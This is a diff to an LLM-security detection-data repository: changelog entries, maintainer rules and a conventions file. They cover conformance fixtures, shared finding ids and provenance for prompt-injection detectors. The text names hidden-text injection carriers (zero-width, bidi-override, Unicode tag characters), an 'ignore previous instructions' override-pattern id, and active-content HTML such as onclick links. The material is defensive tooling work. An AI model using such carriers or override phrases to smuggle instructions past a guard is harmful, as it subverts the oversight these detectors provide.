unaffected — the case is lexicon-scoped and its in-scope set is unchanged.
|
||||||
|
|
||||||
|
**The fixture was deliberately not rewritten.** Its recorded residue is true at the commit
|
||||||
|
`measurement` pins (`0bf0729`, 2026-08-10), and rewriting this one would leave 82 residue
|
||||||
|
records at one commit and one at another under a header naming a single commit. The drift is
|
||||||
|
recorded, dated and pinned in the manifest instead. Re-measuring the whole lexicon corpus at
|
||||||
|
a newer commit is a separate decision and has not been taken.
|
||||||
|
|
||||||
|
The six existing active-content cases did **not** move — checked, not assumed.
|
||||||
|
|
||||||
|
- **The published classifier was rebuilt from the JSON alone and differential-tested.** The
|
||||||
|
independent checker implements `html.algorithm` from the data file and nothing else — no
|
||||||
|
import from the runtime — and compares it against the runtime's `active_tag_class` over 42
|
||||||
|
probe tags spanning both classes, the narrowing, the event-handler precedence and the
|
||||||
|
outside-the-name-set branch. **0 disagreements.** That check, rather than the prose, is what
|
||||||
|
licenses publishing a classifier as data.
|
||||||
|
|
||||||
|
- Verification followed the same rule as the carrier mint: a separate checker re-read the
|
||||||
|
fixture from disk, recomputed the digest with two tools, re-derived the pattern id lexically
|
||||||
|
from the directory name, re-resolved membership from the published id space, and applied
|
||||||
|
`exact-within-scope` independently of the generator. All seven published ids were
|
||||||
|
additionally reproduced from the runtime's own payloads. **0 failed checks.**
|
||||||
|
|
||||||
|
### Not done
|
||||||
|
|
||||||
|
- **No `aliases.llm_security` was published anywhere.** `codepoints/carriers.json` still
|
||||||
|
carries an empty alias slot, waiting on that runtime to name its carrier label. Publishing
|
||||||
|
an alias is the irreversible act — their suite registers a table if *one* node in the file
|
||||||
|
carries the key — and this release does not touch it.
|
||||||
|
|
||||||
|
- `signatures/active-content.json` still carries no `aliases` block at all, for the reason it
|
||||||
|
always has: the sole implementing runtime's emitted label **is** the id.
|
||||||
|
|
||||||
|
## [0.5.0] — 2026-08-13
|
||||||
|
|
||||||
|
**Three cases minted, and the id they carry is the first in this repository that was *named*
|
||||||
|
rather than adopted. Both consuming runtimes answered the decision request of 2026-08-11, and
|
||||||
|
they did not ask for the same name.**
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- `conformance/carrier__zero-width`, `carrier__bidi-override`, `carrier__unicode-tag` — the
|
||||||
|
first cases scoped to `codepoints/carriers.json`. Corpus goes 90 → **93**. Measured through
|
||||||
|
the guard's input surface `sanitize(text, source=Source.INPUT)` at `be9759b` (v0.7.0),
|
||||||
|
findings read at `.report.findings`. Each input produces exactly one in-scope finding and no
|
||||||
|
residue.
|
||||||
|
|
||||||
|
- `codepoints/carriers.json` `0.1.0` → `0.2.0` — a `pattern_id_space` block carrying
|
||||||
|
`carrier:zero-width`, `carrier:bidi-override` and `carrier:unicode-tag`, each aliased to the
|
||||||
|
guard's label. **These ids name what was OBSERVED, not what was done about it**, and that is a
|
||||||
|
departure from how every other id space here was built: the lexicon's 83 and active content's
|
||||||
|
6 were adopted verbatim from a runtime's own labels.
|
||||||
|
|
||||||
|
The guard ruled — measured, and correctly — that its `sanitize:` prefix names the producing
|
||||||
|
module in `Finding.detector` and never an action, offering all three for verbatim adoption.
|
||||||
|
The other runtime, asked the question directly, answered that the name would make its
|
||||||
|
conformance result read as a claim about neutralisation it does not perform. Two things
|
||||||
|
decided it against verbatim adoption. First, the guard's own unprompted correction: prefix ==
|
||||||
|
detector holds for those six labels and is **no general law** in its runtime (`egress:*`
|
||||||
|
carries `detector="output"`; decode-and-rescan yields two-part `decoded:lexicon:*`), and a
|
||||||
|
prefix whose meaning is recoverable only by reading one implementation cannot carry a *shared*
|
||||||
|
id space. Second, a measurement taken here on 2026-08-13: on the very surface the guard's
|
||||||
|
ruling pinned, `sanitize()` returns changed text on all three carriers — so the counter-
|
||||||
|
argument's decisive case, that `scan_output` mutates nothing, does not reach this surface.
|
||||||
|
|
||||||
|
This is not a mediation between two runtimes. Neither claimed the shared id must equal its own
|
||||||
|
label, and the shape is the one the lexicon already had: `override:ignore-previous` carries two
|
||||||
|
*different* alias strings today, and neither runtime's label is the id.
|
||||||
|
|
||||||
|
- `conformance/manifest.json` `0.3.4` → `0.4.0` — `entry_points_by_scope`, stating entry point,
|
||||||
|
**findings accessor** and **fixture presentation** per scope per runtime. The corpus previously
|
||||||
|
pinned one entry point per runtime for all cases, which held for exactly as long as every case
|
||||||
|
was reachable from one surface. Neither pinned entry point reaches carriers. Both runtimes
|
||||||
|
said independently that the manifest was the right place for this: the guard rather than grow
|
||||||
|
an API wrapper for this corpus's benefit, llm-security to record that its carrier entry point
|
||||||
|
is path-based and **cannot measure a bare `input.txt`** — the fixture must reach it as a
|
||||||
|
discovered file. Also adds `carrier_measurement`.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- `conformance/manifest.json` — the retired carrier blocker asserted a general rule, "THE PREFIX
|
||||||
|
NAMES THE DETECTOR", about a runtime this repository does not own. The guard corrected it at
|
||||||
|
its commit `0903785`: true of those six labels, false as a law. The claim is now **scoped to
|
||||||
|
the six** wherever it is stated, and the general form appears nowhere — checked across
|
||||||
|
`CONVENTIONS.md`, `README.md`, `spec/` and `docs/`. The retired text is kept verbatim under
|
||||||
|
`scope_planned.blockers_resolved`, because a record corrected in place cannot be audited.
|
||||||
|
|
||||||
|
### Notes
|
||||||
|
|
||||||
|
- **`not-applicable` here records a missing name, not a missing capability.** Both runtimes
|
||||||
|
implement the carrier tables — llm-security builds its zero-width, tag-range and BIDI sets from
|
||||||
|
this very file — but its carrier findings carry no id yet (`scanner: 'UNI'`, a severity and a
|
||||||
|
prose title). So `carriers.json` carries **no `aliases.llm_security`**, the file stays outside
|
||||||
|
that runtime's declared set, and the three cases are `not-applicable` there today. This is
|
||||||
|
deliberate and stated in the file: publishing that alias is the irreversible act, since it
|
||||||
|
forces the table into that runtime's declared set by force of its own test suite. The slot is
|
||||||
|
filled when the label exists and is named to us.
|
||||||
|
|
||||||
|
- **Not minted, on purpose.** No artifact-side carrier id (`output:zero-width-present`,
|
||||||
|
`output:bidi-present`, `lexicon:unicode-tags-present`) — the other runtime has no artifact
|
||||||
|
surface for carriers, so those cases could only fail there, and a permanently red gate is one a
|
||||||
|
reader learns to ignore. And no case for the ZWJ exemption: U+200D between two emoji is exempt
|
||||||
|
on both guard surfaces since v0.6.1, verified here, and the zero-width fixture carries a bare
|
||||||
|
U+200B between two letters so as not to be failed by design. Whether that exemption is a shared
|
||||||
|
rule or one runtime's policy has not been put to the other runtime.
|
||||||
|
|
||||||
|
- **The guard's v0.7.0 does not move a published fixture.** Re-measured, not inferred: all six
|
||||||
|
active-content cases produce their committed verdicts at `be9759b`, and the new
|
||||||
|
`active:raw-html-link` label is confirmed to reach `<a>` and `<area>` only, with
|
||||||
|
`<a onclick=…>` still grading `active:raw-html` at HIGH. Adopting that seventh construct into
|
||||||
|
`signatures/active-content.json` is a separate decision and is **not** taken here.
|
||||||
|
|
||||||
|
## [0.4.3] — 2026-08-11
|
||||||
|
|
||||||
|
**No fixture, id or `expected.json` moved — a runtime that passes `0.4.2` passes `0.4.3`
|
||||||
|
unchanged. What changed is a claim this repository made about a runtime it does not own, and the
|
||||||
|
claim was wrong on the day it was written.**
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- `conformance/manifest.json` `0.3.2` → `0.3.4` — the `scope_planned.blockers` entry for
|
||||||
|
`codepoints/carriers.json` described the guard as emitting two stage-coupled labels per carrier,
|
||||||
|
"the same split for bidi and unicode-tag". The artifact-side label for tags is
|
||||||
|
`lexicon:unicode-tags-present`, emitted from `lexicon.py`, and `output.py` carries a comment
|
||||||
|
saying it deliberately does not repeat it there. **Wrong when written, not stale:** checked at
|
||||||
|
`e671edb` — the commit the sibling secret-egress blocker was measured against — where
|
||||||
|
`coverage.py` already asserted that label, and re-measured at `a59184b`.
|
||||||
|
|
||||||
|
The correction moves the blocker rather than removing it. The guard's `Finding` carries a
|
||||||
|
`detector` field beside `label`, and the prefix is that field's value: `detector="lexicon"` on
|
||||||
|
`lexicon:unicode-tags-present`, `"output"` on `output:zero-width-present`. **The prefix names
|
||||||
|
the detector, not the pipeline stage** — and for tags a single detector serves both entry
|
||||||
|
points, which is why there is no sixth `output:` label to find. "A commons id would have to be
|
||||||
|
invented stage-neutral" was never the problem. Six labels exist to adopt verbatim, the way the
|
||||||
|
83 lexicon ids were adopted from this same runtime's port.
|
||||||
|
|
||||||
|
What blocks adoption is measured and named instead, at llm-security `47905da`: `sanitize:`
|
||||||
|
asserts a strip that runtime does not perform (`scanners/unicode-scanner.mjs` exports one entry
|
||||||
|
point, `scan(targetPath, discovery)`, reporting presence with `scanner: 'UNI'`, a prose title
|
||||||
|
and no id); three of the six name a persist gate it does not have, which the corpus already has
|
||||||
|
a verdict for — §1.1 `not-applicable`, attaching to a declared **table** — but which
|
||||||
|
**publishing the alias is what takes away**: that runtime's suite walks each vendored file for
|
||||||
|
any node carrying `aliases.llm_security` and asserts every registered table is declared, so one
|
||||||
|
aliased carrier id forces `codepoints/carriers.json` into a declared set of what is today the
|
||||||
|
lexicon alone, obliging it to run all six cases and converting the three artifact-side ones into
|
||||||
|
failures; and the entry point pinned for it in `measurement.runtimes` (`scanForInjection`) does not
|
||||||
|
reach carriers at all, so carrier cases need a per-scope entry point this manifest expresses
|
||||||
|
nowhere. Both runtimes already build their carrier sets from `codepoints/carriers.json`, so the
|
||||||
|
divergence is in what a finding is *called* and where it can be *observed*, never in which code
|
||||||
|
points are carriers.
|
||||||
|
|
||||||
|
### Asked, not decided
|
||||||
|
|
||||||
|
- The three objections went to both runtimes over coord on 2026-08-11 as a decision request, each
|
||||||
|
asked the question only it can answer. **Nothing was minted.** A case id is contract surface
|
||||||
|
consumers pin against, and publishing a single carrier alias is itself irreversible — it widens
|
||||||
|
another runtime's declared table set by force of that runtime's own test suite. Minting first
|
||||||
|
would have made a proposal into a fait accompli. The manifest records the request, so a later
|
||||||
|
reader can tell "asked, unanswered" from "nobody asked".
|
||||||
|
|
||||||
|
- **A correction followed the request the same day, on our own error.** The request asserted that
|
||||||
|
the corpus had no third verdict for a case a runtime cannot reach. It has one — §1.1
|
||||||
|
`not-applicable` — and this repository wrote that section. The question was put before its own
|
||||||
|
normative spec was re-read; the follow-up says so to both runtimes and restates the choice as
|
||||||
|
mint-input-side-only, accept three standing failures, or publish a guard-only id space with no
|
||||||
|
`llm_security` alias at all.
|
||||||
|
|
||||||
|
## [0.4.2] — 2026-08-11
|
||||||
|
|
||||||
|
**No data file changed and no pattern moved.** A runtime that passes `0.4.1` passes `0.4.2`
|
||||||
|
unchanged; there is nothing here to re-measure. What the release adds is the rule set an outside
|
||||||
|
contributor could not previously read — including the reason the forge surface is shaped the way
|
||||||
|
it is.
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- `CONVENTIONS.md` — the whole rule set a change here is held to, consolidated. **Not new
|
||||||
|
policy:** the charter lives in `CLAUDE.md`, the versioning and vendoring rules in `README.md`,
|
||||||
|
the reporting route in `SECURITY.md`, and the file conventions were visible only in the shape
|
||||||
|
of the files. Collected because a convention that exists only in the maintainer's head is not
|
||||||
|
one an outside reader can meet.
|
||||||
|
|
||||||
|
Two things in it were previously inferable at best. **Why pull requests are off:** this
|
||||||
|
repository is vendored into independent runtimes that pin a tag, so a change to detection data
|
||||||
|
changes what they *find*, and that has to be coordinated with each consumer **before it
|
||||||
|
exists** — which a merge button cannot do. `org-ops` reached that conclusion on 2026-08-11
|
||||||
|
from a README line, and the conclusion was right; this file is the ground it was missing.
|
||||||
|
**When a value may change:** the three mechanisms that have moved one so far — re-extraction,
|
||||||
|
retraction, and owner-directed authoring — each named with the `source_fidelity` key that
|
||||||
|
records it, and merit named explicitly as *not* on that list.
|
||||||
|
|
||||||
|
It also carries the four offline checks that stand in for the CI this organisation does not
|
||||||
|
have. Each was confirmed to go **red** on a violation, not merely green on a clean tree: a
|
||||||
|
JSON file with no `version`, a `spec/` file with no normative marker, and a planted `.sh` were
|
||||||
|
each detected. A check that cannot fail proves nothing. The checks are shell one-liners rather
|
||||||
|
than a script because a script would be `.sh`, and check 4 would fail on the tooling meant to
|
||||||
|
enforce it.
|
||||||
|
|
||||||
|
- `README.md` — a short **Contributing** section pointing at it, carrying the pull-request answer
|
||||||
|
inline so a reader who never opens the file still gets it. Same pattern the
|
||||||
|
**Reporting a wrong entry** section followed for `SECURITY.md` in `0.3.1`.
|
||||||
|
|
||||||
|
The four `v0.4.1` references in the install block and the layout table move to `v0.4.2`.
|
||||||
|
|
||||||
|
This closes the second half of what `org-ops` recorded as missing against the org standard on
|
||||||
|
2026-08-11. `SECURITY.md` was the first half, in `0.3.1`.
|
||||||
|
|
||||||
|
## [0.4.1] — 2026-08-11
|
||||||
|
|
||||||
|
**No data file changed and no pattern moved. A number this repository published was wrong, and
|
||||||
|
it was wrong in our favour's opposite direction — the corrected figures are larger.** A runtime
|
||||||
|
that passes `0.4.0` passes `0.4.1` unchanged.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- `docs/lexicon-port-divergence.md` (informative) — the ReDoS figures for
|
||||||
|
`hybrid-xss:iframe-src` read **~3× low**, and the Python `script-tag` figure at 32 000 chars
|
||||||
|
read ~4× low. Flagged by `llm-ingestion-pipeline-security` (coord, 2026-08-11T19:51:55Z), who
|
||||||
|
measured the row themselves rather than citing ours.
|
||||||
|
|
||||||
|
Their diagnosis was measurement surface — their composed `scan_lexicon()` against our
|
||||||
|
standalone regex. **Checked, and that is not the cause:** our standalone 100 000-char figure
|
||||||
|
(7.86 s) sits close to their composed 8.95 s, so the two surfaces differ by far less than the
|
||||||
|
error. Re-measured standalone, Python 3.14.0: `iframe-src` `[^>]*` is 822.7 ms at 32 000 chars
|
||||||
|
and 51 477.4 ms at 256 000, against the published 119.6 ms and 16 857 ms. The Python
|
||||||
|
`script-tag` figure at 256 000 chars *does* reproduce (5.44 s published, 5.22 s measured); the
|
||||||
|
one at 32 000 chars does not (0.021 s against 0.087 s).
|
||||||
|
|
||||||
|
The error ratios are not constant, so a single mis-sized input does not explain it, and the
|
||||||
|
original harness lived in a previous session's scratchpad and no longer exists. **The cause is
|
||||||
|
recorded as not diagnosable rather than guessed at.** The correction is a box in the document
|
||||||
|
carrying the re-measured table, and the superseded figures are struck in place rather than
|
||||||
|
quietly overwritten — a consumer who cited the old number needs to find out that they did.
|
||||||
|
|
||||||
|
Nothing about the `0.4.0` decision depends on this. Every corrected figure is larger, the
|
||||||
|
shape is unchanged (quadratic, ×4 per doubling), and both `[^><]*` forms remain flat under
|
||||||
|
both engines. The `0.4.0` entry below still quotes the old `iframe-src` figure; it is left as
|
||||||
|
published, because that section is the record of what was released.
|
||||||
|
|
||||||
## [0.4.0] — 2026-08-11
|
## [0.4.0] — 2026-08-11
|
||||||
|
|
||||||
**Two detection values changed, by two different mechanisms, and the difference between those
|
**Two detection values changed, by two different mechanisms, and the difference between those
|
||||||
|
|
|
||||||
79
CLAUDE.md
79
CLAUDE.md
|
|
@ -65,6 +65,60 @@ Ingen. Data + prosa. Filformater: JSON (data + schema), Markdown (spec), rå tek
|
||||||
- `expected.json` er ground truth. Er en runtime uenig med `expected.json`, er runtimen
|
- `expected.json` er ground truth. Er en runtime uenig med `expected.json`, er runtimen
|
||||||
feil — med mindre fixturen selv bevises feil, og da endres fixturen i eget commit med
|
feil — med mindre fixturen selv bevises feil, og da endres fixturen i eget commit med
|
||||||
begrunnelse.
|
begrunnelse.
|
||||||
|
- **Regelen over er skopet, og skopet er bærende.** Er casens scope en tabell bare ÉN runtime
|
||||||
|
implementerer, og den runtimen skrev payloaden, finnes ikke den andre implementasjonen
|
||||||
|
regelen dømmer mellom. Da er en divergens fra *den* runtimen verken en bevist feil fixture
|
||||||
|
eller nødvendigvis deres bug: fixturen skrives ikke om på divergensen alene, den føres mot
|
||||||
|
versjonen som er pinnet, og re-pinning er en egen release. Mot en TREDJEPARTS-implementasjon
|
||||||
|
av samme tabell gjelder §7 uendret. Til og med `v0.8.1` sto regelen uskopet. Se
|
||||||
|
`spec/conformance-corpus.md` §7.1.
|
||||||
|
- **En case er ikke mintbar uten inngangspunkt for sitt scope.** Korpuset pinner ikke
|
||||||
|
lenger ett inngangspunkt per runtime for alt — `manifest.json` →
|
||||||
|
`entry_points_by_scope` bærer inngangspunkt, **findings-accessor** og
|
||||||
|
**fixture-presentasjon** per scope per runtime. En runtime hvis flate er sti-basert kan
|
||||||
|
ikke måle en løs `input.txt`, og en fixture den får som løs tekst måler ingenting
|
||||||
|
samtidig som den ser ut som en pass. Nytt scope ⇒ fyll ut alle tre FØR første case.
|
||||||
|
- **Generatoren verifiserer aldri seg selv.** En mint krever en separat sjekker som leser
|
||||||
|
fixturene tilbake fra disk og utleder alt på nytt (digest, id fra case-id, scope,
|
||||||
|
exact-within-scope). Ligger i scratchpad, aldri i repoet.
|
||||||
|
- **En innsnevring måles mot HELE korpuset, ikke mot casene den handler om.** Endrer en
|
||||||
|
oppdatering hva en runtime *slutter* å rapportere, kan den tømme et `observed_out_of_scope`
|
||||||
|
hvor som helst — også på caser scopet til en helt annen tabell. Det feltet er evidens
|
||||||
|
(spec §5), så **ingen testsuite noe sted vokter det**: en foreldet oppføring består hver
|
||||||
|
kjøring for alltid. Kjør hver committet case gjennom sitt eget scopes inngangspunkt og
|
||||||
|
sammenlign mot BEGGE stedene fixturen fører en runtime-label — `findings` (mappet via
|
||||||
|
tabellens aliases) og `observed_out_of_scope`. Målt 2026-08-13: seks «åpenbare» caser
|
||||||
|
flyttet seg ikke, én lexicon-case gjorde det.
|
||||||
|
- **En foreldet residue-oppføring skrives ikke om — den pinnes.** `observed_out_of_scope` er
|
||||||
|
sann ved commiten `measurement` pinner. Retter du én av 83, står 82 målinger ved én commit
|
||||||
|
og én ved en annen, under en header som navngir én. Før avviket i manifestet med dato og
|
||||||
|
commit i stedet. Å re-pinne hele korpuset er en egen beslutning.
|
||||||
|
- **Like funn-sett betyr ikke lik feilflate.** Spørsmålet som avgjør om en variant-case skal
|
||||||
|
mintes er ikke om de to inputene gir ulike funn innenfor scope — det er om den andre
|
||||||
|
inputen kan FEILE, innenfor scope, under en endring i den scopede datafila som den første
|
||||||
|
ville bestå. Korpusets første variant forventer nøyaktig samme funn som base-casen og
|
||||||
|
gater likevel noe base-casen ikke ser: base-inputen matcher mønsteret både i publisert og
|
||||||
|
i tidligere, strengere form. En payload hvis skille ligger i en tabell vi ikke publiserer
|
||||||
|
består ikke terskelen og føres som navngitt utelatelse. Spec §6 bærer regelen.
|
||||||
|
|
||||||
|
### Id-rom: adoptert vs. navngitt
|
||||||
|
|
||||||
|
Standard er **adopsjon verbatim** fra en runtimes egne labels (leksikonets 83, active
|
||||||
|
contents 6). Å NAVNGI en id her er unntaket og krever at begge runtimes er spurt først —
|
||||||
|
`carrier:*` er den eneste så langt, og `carriers.json` bærer begrunnelsen.
|
||||||
|
|
||||||
|
To regler som ikke er utledbare fra dataene:
|
||||||
|
|
||||||
|
- **Et prefiks som bare betyr noe inne i én runtime kan ikke bære et DELT id-rom.** Guarden
|
||||||
|
korrigerte oss selv på at «prefiks == `detector`-feltet» gjelder seks carrier-labels og
|
||||||
|
er ingen lov i deres runtime. Skriv aldri den generelle formen; skop påstanden til de
|
||||||
|
konkrete id-ene.
|
||||||
|
- **Å publisere `aliases.<runtime>` er den irreversible handlingen, ikke å minte casen.**
|
||||||
|
Konsumentens testsuite utleder sitt registrerte tabellsett ved å gå gjennom HELE den
|
||||||
|
vendorede fila og registrere tabellen om ÉN node bærer aliaset. Granulariteten er FILA.
|
||||||
|
Ett alias tvinger tabellen inn i deres `DECLARED_TABLES` og forplikter dem på hver case
|
||||||
|
scopet dit. Mangler alias-strengen: **la slotten stå tom og si det** — `not-applicable`
|
||||||
|
som registrerer et manglende NAVN er ærlig; en gjettet alias-streng er det ikke.
|
||||||
|
|
||||||
### Sikkerhetskritiske tabeller — aldri fra hukommelse
|
### Sikkerhetskritiske tabeller — aldri fra hukommelse
|
||||||
|
|
||||||
|
|
@ -78,6 +132,31 @@ Unicode-standarden, publisert leverandør-doc). Aldri fra egen hukommelse, aldri
|
||||||
«fylt ut for konsistens». Kan en oppføring ikke verifiseres: utelat den, eller marker
|
«fylt ut for konsistens». Kan en oppføring ikke verifiseres: utelat den, eller marker
|
||||||
den eksplisitt uverifisert i `$comment`.
|
den eksplisitt uverifisert i `$comment`.
|
||||||
|
|
||||||
|
### Å adoptere én ny id fra en runtime som har flyttet seg
|
||||||
|
|
||||||
|
Standardtilfellet er additivt: en ny nøkkel, en ny id, ferdig. Det holder bare når
|
||||||
|
**produsenten** av den nye id-en er uendret. Er den nye id-en et nytt utfall av en
|
||||||
|
klassifiserer runtimen har skrevet om, må hele klassifisereren adopteres — en publisert id
|
||||||
|
oppå den gamle prediktoren er en kontrakt som ser komplett ut og er feil, og en konsument
|
||||||
|
som implementerer fra den divergerer fra dag én. Test: kan du skrive den nye id-ens gate
|
||||||
|
uten å røre de andre grenene i samme funksjon? Kan du ikke, er scope hele funksjonen.
|
||||||
|
|
||||||
|
To ting som følger av det:
|
||||||
|
|
||||||
|
- **En datafil kan ha TO provenance-pins, og da skal begge stå.** Én pin over en fil som er
|
||||||
|
halvt gammel og halvt ny beskriver ingen av halvdelene. Skop re-pinnen til de blokkene den
|
||||||
|
faktisk dekker, og si hvilke.
|
||||||
|
- **Mål drift felt for felt før du re-pinner, ikke etterpå.** Importer modulen ved taggen og
|
||||||
|
sammenlign hvert regex, hver severity, hver liste og hvert tallgulv — etter å ha strippet
|
||||||
|
Pythons inline-flagg-rendering og anvendt filas egne deklarerte normaliseringer, ellers
|
||||||
|
rapporterer du staveforskjeller som drift. Målt 2026-08-13 over 0.3.4 → 0.7.0: 24 felt
|
||||||
|
holdt, **ett** hadde driftet, og det var ikke det oppgaven handlet om.
|
||||||
|
|
||||||
|
Og den sterkeste kontrollen når du publiserer en klassifiserer som data: **bygg den opp
|
||||||
|
igjen fra JSON-en alene** — ingen import fra runtimen — og differensialtest mot runtimens
|
||||||
|
funksjon over et probe-korpus som treffer hver gren. Består den, er fila bevist tilstrekkelig
|
||||||
|
som spesifikasjon. Består den ikke, mangler fila noe prosa aldri ville avslørt.
|
||||||
|
|
||||||
### Behaviour preservation (v0.1.0-invariant)
|
### Behaviour preservation (v0.1.0-invariant)
|
||||||
|
|
||||||
v0.1.0 er en **ekstraksjon**, ikke en revisjon. Data som er hentet ut av en konsument
|
v0.1.0 er en **ekstraksjon**, ikke en revisjon. Data som er hentet ut av en konsument
|
||||||
|
|
|
||||||
205
CONVENTIONS.md
Normal file
205
CONVENTIONS.md
Normal file
|
|
@ -0,0 +1,205 @@
|
||||||
|
# Conventions
|
||||||
|
|
||||||
|
The rules a change to this repository is held to, in one place.
|
||||||
|
|
||||||
|
Nothing here is new policy. Every rule below was already being applied — some of it stated in
|
||||||
|
[README.md](README.md), some in [SECURITY.md](SECURITY.md), some only visible in the shape of
|
||||||
|
the files themselves. It is collected here because a convention that only exists in the
|
||||||
|
maintainer's head is not a convention an outside reader can meet, and because two of the
|
||||||
|
decisions this repository makes — that nothing here runs, and that pull requests are switched
|
||||||
|
off — look arbitrary until the reason is written down next to them.
|
||||||
|
|
||||||
|
This file binds **contributions to this repository**. It does not bind the runtimes that read
|
||||||
|
the data; that is what `spec/` is for, and those files say `Status: normative` and mean it.
|
||||||
|
|
||||||
|
## The charter: nothing here runs
|
||||||
|
|
||||||
|
**This repository contains no executable code, and it will not acquire any.**
|
||||||
|
|
||||||
|
Not permitted, without exception:
|
||||||
|
|
||||||
|
- `.mjs`, `.js`, `.ts`, `.py`, `.sh` — or any other file that implements detection, scanning,
|
||||||
|
normalisation, scoring or I/O;
|
||||||
|
- `package.json`, `pyproject.toml`, lockfiles, dependencies, build steps;
|
||||||
|
- an import of, or knowledge of, any framework, SDK or runtime;
|
||||||
|
- network access, model calls, dependence on the clock, or randomness.
|
||||||
|
|
||||||
|
Permitted: JSON data, normative specifications in Markdown, and conformance fixtures
|
||||||
|
(`input.txt` plus `expected.json`).
|
||||||
|
|
||||||
|
The reason is `fork-and-own`. A consumer on a runtime nobody here has thought of should be able
|
||||||
|
to vendor this repository without inheriting a single technology choice. A build step is a
|
||||||
|
technology choice; so is a test runner. The moment one exists, the set of runtimes that can
|
||||||
|
adopt this core shrinks to the set that tolerates it.
|
||||||
|
|
||||||
|
The consequence is that **this repository cannot validate itself**. There is no CI in this
|
||||||
|
organisation and nothing runs on push. The checks below are yours to run, and they are the only
|
||||||
|
ones there are.
|
||||||
|
|
||||||
|
## How a change gets in — and why not by pull request
|
||||||
|
|
||||||
|
Pull requests are switched off on the canonical repository at
|
||||||
|
`git.fromaitochitta.com/open/llm-security-commons`, and issues are not the reporting channel
|
||||||
|
either. That is deliberate, and the reason is stronger than a preference about tooling.
|
||||||
|
|
||||||
|
This repository is **vendored into independent runtimes** — a Claude Code plugin on Node/ESM, a
|
||||||
|
Python guard, an advisory surface — each pinning a tag. The contract between them is semver, and
|
||||||
|
a change to detection data changes what those runtimes *find*. A patch to a pattern table is not
|
||||||
|
a contribution that can be merged and then socialised; it is a contract change that has to be
|
||||||
|
coordinated with every consumer **before it exists**, because the moment it is tagged, the next
|
||||||
|
consumer to pull it gets different findings than the one that pulled yesterday. A merge button
|
||||||
|
does not do that, and nothing downstream of a merge button can.
|
||||||
|
|
||||||
|
So the routes in are:
|
||||||
|
|
||||||
|
1. **Fork and own it.** MIT, and an intended use rather than a tolerated one. If you need a
|
||||||
|
different value in your runtime, this is the fast path and it is fully supported.
|
||||||
|
2. **Report it privately** — see [SECURITY.md](SECURITY.md). A wrong entry in a detection table
|
||||||
|
is a silent false negative in every runtime that reads it, so a report about one is a
|
||||||
|
security report even though nothing here executes. That file also explains why a confirmed
|
||||||
|
defect in extracted data is usually decided in the runtime it came from before it changes
|
||||||
|
here.
|
||||||
|
|
||||||
|
If you maintain a consumer, the coordination channel is direct contact with the maintainer, not
|
||||||
|
this repository's forge surface.
|
||||||
|
|
||||||
|
## Data files (JSON)
|
||||||
|
|
||||||
|
- **Every JSON file carries a top-level `"version"`** — a semver string. No exceptions.
|
||||||
|
- **Every JSON file states what it is and where its data came from**, in a top-level
|
||||||
|
`"$comment"` or `"description"`. Provenance is not optional metadata here; it is what makes
|
||||||
|
the difference between a table and a rumour.
|
||||||
|
- 2-space indentation, LF line endings, a trailing newline, UTF-8 without BOM.
|
||||||
|
- **Code points are written as strings** — `"U+200B"` — never as the raw invisible character.
|
||||||
|
Review cannot see what it cannot render, and a reviewer who cannot see a character cannot
|
||||||
|
check it. The single exception is `conformance/*/input.txt`, which by definition contains the
|
||||||
|
actual bytes.
|
||||||
|
- **Keys are stable identifiers.** Consumers match on them. **Changing a key is a breaking
|
||||||
|
change** and is versioned as one.
|
||||||
|
|
||||||
|
The four files that carry detection material — `codepoints/carriers.json`,
|
||||||
|
`signatures/secret-egress.json`, `signatures/malware-signatures.json`,
|
||||||
|
`signatures/active-content.json` — take one further rule, which is the most important line in
|
||||||
|
this document:
|
||||||
|
|
||||||
|
> **They are changed only from verified source data** — a dump from the owning repository, the
|
||||||
|
> Unicode standard, published vendor documentation. Never from memory, never "filled in for
|
||||||
|
> consistency". A guessed code point or a regex with wrong escaping is a silent false negative:
|
||||||
|
> a detector that looks like it is working and is not looking. If an entry cannot be verified,
|
||||||
|
> leave it out, or mark it explicitly unverified in its `$comment`.
|
||||||
|
|
||||||
|
## Specifications (Markdown)
|
||||||
|
|
||||||
|
- A normative specification carries **`Status: normative`** at the top and uses RFC 2119 terms
|
||||||
|
(MUST / MUST NOT / SHOULD / MAY) in uppercase, deliberately. These files bind the
|
||||||
|
implementations that read them.
|
||||||
|
- An informative document (`docs/`) carries **`Status: informative`** and is **never ground
|
||||||
|
truth**. It records measurements, history and open disagreements; a runtime is not wrong for
|
||||||
|
disagreeing with one.
|
||||||
|
- Naming a file that does not exist yet is allowed where the layout is part of the contract —
|
||||||
|
`spec/decode-pipeline.md` is named in README.md and marked **Planned**. It is not a link, and
|
||||||
|
nothing depends on it. A normative spec guessed at would be worse than an absent one.
|
||||||
|
|
||||||
|
## Conformance cases
|
||||||
|
|
||||||
|
- One directory per case: `conformance/<case-id>/input.txt` and
|
||||||
|
`conformance/<case-id>/expected.json`.
|
||||||
|
- `<case-id>` is stable and descriptive. **Changing a case id is a breaking change** — a
|
||||||
|
published conformance result names it.
|
||||||
|
- `expected.json` is **ground truth**. If a runtime disagrees with it, the runtime is wrong.
|
||||||
|
- One way that reverses: the fixture is proven wrong. Then the fixture changes **in its own
|
||||||
|
commit, with the reason written down** — never folded into a change that does something else,
|
||||||
|
because a fixture edit is the one edit that can make every conforming runtime wrong
|
||||||
|
identically.
|
||||||
|
- The other, added in `v0.9.0`: where a case's scope is a table only one runtime implements and
|
||||||
|
that runtime authored the payload, a divergence by **that** runtime is neither a proven-wrong
|
||||||
|
fixture nor necessarily its bug. The fixture is not rewritten on the divergence alone — it is
|
||||||
|
recorded against the version pinned, and re-pinning is a separate release. Through `v0.8.1`
|
||||||
|
this list carried only the first way. See
|
||||||
|
[`spec/conformance-corpus.md` §7.1](spec/conformance-corpus.md).
|
||||||
|
- A case declares the data files it is `scope`d to. A runtime that does not implement a scoped
|
||||||
|
table reports the case `not-applicable` — a third verdict beside pass and fail, and one that
|
||||||
|
must be reported rather than dropped from the denominator. See
|
||||||
|
[`spec/conformance-corpus.md`](spec/conformance-corpus.md).
|
||||||
|
|
||||||
|
## When a value may change
|
||||||
|
|
||||||
|
Detection values do not change here because someone here judged them wrong. Three mechanisms
|
||||||
|
have moved a value so far, and each is recorded in the file itself rather than only in the
|
||||||
|
changelog:
|
||||||
|
|
||||||
